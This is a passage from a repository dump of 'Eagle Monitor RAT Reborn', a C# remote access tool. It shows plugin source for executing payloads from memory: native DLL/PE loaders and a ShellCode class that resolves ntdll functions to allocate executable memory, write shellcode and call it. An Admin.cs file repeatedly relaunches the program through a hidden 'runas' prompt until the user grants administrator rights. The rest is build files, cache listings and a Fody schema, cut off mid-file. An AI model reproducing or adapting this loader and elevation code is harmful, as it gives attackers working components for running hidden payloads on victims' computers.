    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{0607E970-CC93-4A2A-83CA-53B9D537C96E}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>MemoryExecution</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Microsoft.VisualBasic\" />\n    <Reference Include=\"System\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"DLLFromMemory.cs\" />\n    <Compile Include=\"DotNetCode.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"ManagedDll.cs\" />\n    <Compile Include=\"ManagedExe.cs\" />\n    <Compile Include=\"NativeDll.cs\" />\n    <Compile Include=\"NativePE.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"ShellCode.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/NativeDll.cs",
    "content": "﻿using System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class NativeDll\n    {\n        internal static bool LoadDll(byte[] payload) \n        {\n            /*Task.Run(() => \n            {\n                DLLFromMemory dll = new DLLFromMemory(payload);\n                dll.Dispose();\n            });*/\n            Thread thread = new Thread(() =>\n            {\n                try\n                {\n                    DLLFromMemory dll = new DLLFromMemory(payload);\n                    dll.Dispose();\n                }\n                catch {}\n            });\n            thread.Start();\n\n            if (thread.IsAlive)\n                return true;\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/NativePE.cs",
    "content": "﻿using System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class NativePE\n    {\n        internal static bool LoadPE(byte[] payload) \n        {\n            Thread thread = new Thread(() => \n            {\n                try\n                {\n                    DLLFromMemory exe = new DLLFromMemory(payload);\n                    exe.MemoryCallEntryPoint();\n                    exe.Dispose();\n                }\n                catch {}\n            });\n\n            thread.Start();\n\n            if (thread.IsAlive)\n                return true;\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"MemoryExecution\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"MemoryExecution\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"0607e970-cc93-4a2a-83ca-53b9d537c96e\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/ShellCode.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public class ShellCode\n    {\n        internal static void RunShellCode(byte[] shellCode) \n        {\n            new Thread(() => \n            {\n                new ShellCode(shellCode).NTDelegates();\n            }).Start();\n        }\n\n        private byte[] shellCode { get; set; }\n        private IntPtr ptr;\n        private uint RegionSize;\n        public ShellCode(byte[] shellCode)\n        {\n            this.shellCode = shellCode;\n            this.RegionSize = (uint)shellCode.Length;\n            this.ptr = IntPtr.Zero;\n        }\n\n        internal const String NTDLL = \"ntdll.dll\";\n        internal const String KERNEL32 = \"kernel32.dll\";\n\n        [DllImport(KERNEL32)]\n        public static extern IntPtr GetModuleHandle(string lpModuleName);\n\n        [DllImport(KERNEL32)]\n        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);\n        [DllImport(KERNEL32)]\n        public static extern IntPtr GetCurrentProcess();\n\n        [Flags]\n        internal enum TypeAlloc : uint\n        {\n            MEM_COMMIT = 0x00001000,\n            MEM_RESERVE = 0x00002000,\n            MEM_RESET = 0x00080000,\n            MEM_RESET_UNDO = 0x1000000,\n            MEM_LARGE_PAGES = 0x20000000,\n            MEM_PHYSICAL = 0x00400000,\n            MEM_TOP_DOWN = 0x00100000,\n            MEM_WRITE_WATCH = 0x00200000\n        }\n\n        [Flags]\n        internal enum FreeType : uint\n        {\n            MEM_DECOMMIT = 0x00004000,\n            MEM_RELEASE = 0x00008000,\n            MEM_COALESCE_PLACEHOLDERS = 0x00000001,\n            MEM_PRESERVE_PLACEHOLDER = 0x00000002\n        }\n\n        [Flags]\n        internal enum PageProtection : uint\n        {\n            PAGE_EXECUTE = 0x10,\n            PAGE_EXECUTE_READ = 0x20,\n            PAGE_EXECUTE_READWRITE = 0x40,\n            PAGE_EXECUTE_WRITECOPY = 0x80,\n            PAGE_NOACCESS = 0x01,\n            PAGE_READONLY = 0x02,\n            PAGE_READWRITE = 0x04,\n            PAGE_WRITECOPY = 0x08,\n            PAGE_TARGETS_INVALID = 0x40000000,\n            PAGE_TARGETS_NO_UPDATE = 0x40000000,\n            PAGE_GUARD = 0x100,\n            PAGE_NOCACHE = 0x200,\n            PAGE_WRITECOMBINE = 0x400\n        }\n\n        internal static class Delegates\n        {\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n            internal delegate void ShellCodeCaller();\n\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n            public delegate uint NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref uint RegionSize, TypeAlloc AllocationType, PageProtection Protect);\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n            public delegate uint NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] buffer, UIntPtr bufferSize, out UIntPtr written);\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n            public delegate uint NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint numberOfBytes, PageProtection newProtect, ref PageProtection oldProtect);\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n            public delegate uint NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint RegionSize, FreeType FreeType);\n\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n            public delegate IntPtr VirtualAlloc(IntPtr address, IntPtr numBytes, TypeAlloc commitOrReserve, PageProtection pageProtectionMode);\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n            public delegate IntPtr VirtualFree(IntPtr lpAddress, uint dwSize, FreeType FreeType);\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n            public delegate bool VirtualProtect(IntPtr lpAddress, uint dwSize, PageProtection flNewProtect, out PageProtection lpflOldProtect);\n            [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n            public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten);\n        }\n\n        private void NTDelegates()\n        {\n            IntPtr ExportedNtAllocateVirtualMemory = GetProcAddress(GetModuleHandle(NTDLL), \"NtAllocateVirtualMemory\");\n            Delegates.NtAllocateVirtualMemory NtAllocateVirtualMemory = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(ExportedNtAllocateVirtualMemory, typeof(Delegates.NtAllocateVirtualMemory));\n            NtAllocateVirtualMemory(GetCurrentProcess(), ref ptr, IntPtr.Zero, ref RegionSize, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);\n\n            UIntPtr bytesWritten;\n            IntPtr ExportedNtWriteVirtualMemory = GetProcAddress(GetModuleHandle(NTDLL), \"NtWriteVirtualMemory\");\n            Delegates.NtWriteVirtualMemory NtWriteVirtualMemory = (Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(ExportedNtWriteVirtualMemory, typeof(Delegates.NtWriteVirtualMemory));\n            NtWriteVirtualMemory(GetCurrentProcess(), ptr, this.shellCode, (UIntPtr)this.shellCode.Length, out bytesWritten);\n\n            PageProtection flOld = new PageProtection();\n            IntPtr ExportedNtProtectVirtualMemory = GetProcAddress(GetModuleHandle(NTDLL), \"NtProtectVirtualMemory\");\n            Delegates.NtProtectVirtualMemory NtProtectVirtualMemory = (Delegates.NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ExportedNtProtectVirtualMemory, typeof(Delegates.NtProtectVirtualMemory));\n            NtProtectVirtualMemory(GetCurrentProcess(), ref ptr, ref RegionSize, PageProtection.PAGE_EXECUTE_READ, ref flOld);\n\n            Delegates.ShellCodeCaller load = (Delegates.ShellCodeCaller)Marshal.GetDelegateForFunctionPointer(ptr, typeof(Delegates.ShellCodeCaller));\n            load();\n\n            IntPtr ExportedNtFreeVirtualMemory = GetProcAddress(GetModuleHandle(NTDLL), \"NtFreeVirtualMemory\");\n            Delegates.NtFreeVirtualMemory NtFreeVirtualMemory = (Delegates.NtFreeVirtualMemory)Marshal.GetDelegateForFunctionPointer(ExportedNtFreeVirtualMemory, typeof(Delegates.NtFreeVirtualMemory));\n            NtFreeVirtualMemory(GetCurrentProcess(), ref ptr, ref RegionSize, FreeType.MEM_RELEASE);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/obj/Debug/MemoryExecution.csproj.CoreCompileInputs.cache",
    "content": "caddf2a39a39efb6b5bbfa5057930ad3de188494\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/obj/Debug/MemoryExecution.csproj.FileListAbsolute.txt",
    "content": "F:\\Personal\\DesyncOps\\Remote Access Tool\\bin\\Debug\\Plugins\\MemoryExecution.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\bin\\Debug\\Plugins\\MemoryExecution.dll\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\MemoryExecution.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\MemoryExecution.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Debug\\MemoryExecution.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/obj/Debug/MemoryExecution.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.CoreCompileInputs.cache",
    "content": "5466ec8897c23314c966885ddb78fdf06b4ec5ac\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\MemoryExecution.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\MemoryExecution.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\MemoryExecution.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\MemoryExecution.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\MemoryExecution.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CopyComplete\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\MemoryExecution.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\MemoryExecution.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\MemoryExecution\\obj\\Release\\MemoryExecution.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/Admin.cs",
    "content": "﻿using System.Diagnostics;\nusing System.Security.Principal;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Code coming from AsyncRAT ||\n*/\n\nnamespace Plugin\n{\n    internal static class Admin\n    {\n        internal static void AskAdminRight() \n        {\n            if (IsAdmin()) return;\n            try\n            {\n                Process proc = new Process\n                {\n                    StartInfo = new ProcessStartInfo\n                    {\n                        FileName = \"cmd\",\n                        Arguments = \"/k START \\\"\\\" \\\"\" + Application.ExecutablePath + \"\\\" & EXIT\",\n                        WindowStyle = ProcessWindowStyle.Hidden,\n                        Verb = \"runas\",\n                        UseShellExecute = true\n                    }\n                };\n                proc.Start();\n                Imports.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);\n            }\n            catch { AskAdminRight(); }\n        }\n  \n        private static bool IsAdmin()\n        {\n            return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/Audio.cs",
    "content": "﻿using System.Windows.Forms;\nusing static Plugin.Imports;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class Audio\n    {\n        private static Form formNeeded;\n        static Audio()\n        {\n            formNeeded = new Form();\n        }\n\n        internal static void IncreaseVolume()\n        {\n            SendMessage(formNeeded.Handle, WM_APPCOMMAND, formNeeded.Handle, APPCOMMAND_VOLUME_UP);\n        }\n\n        internal static void DecreaseVolume()\n        {\n            SendMessage(formNeeded.Handle, WM_APPCOMMAND, formNeeded.Handle, APPCOMMAND_VOLUME_DOWN);\n        }\n\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        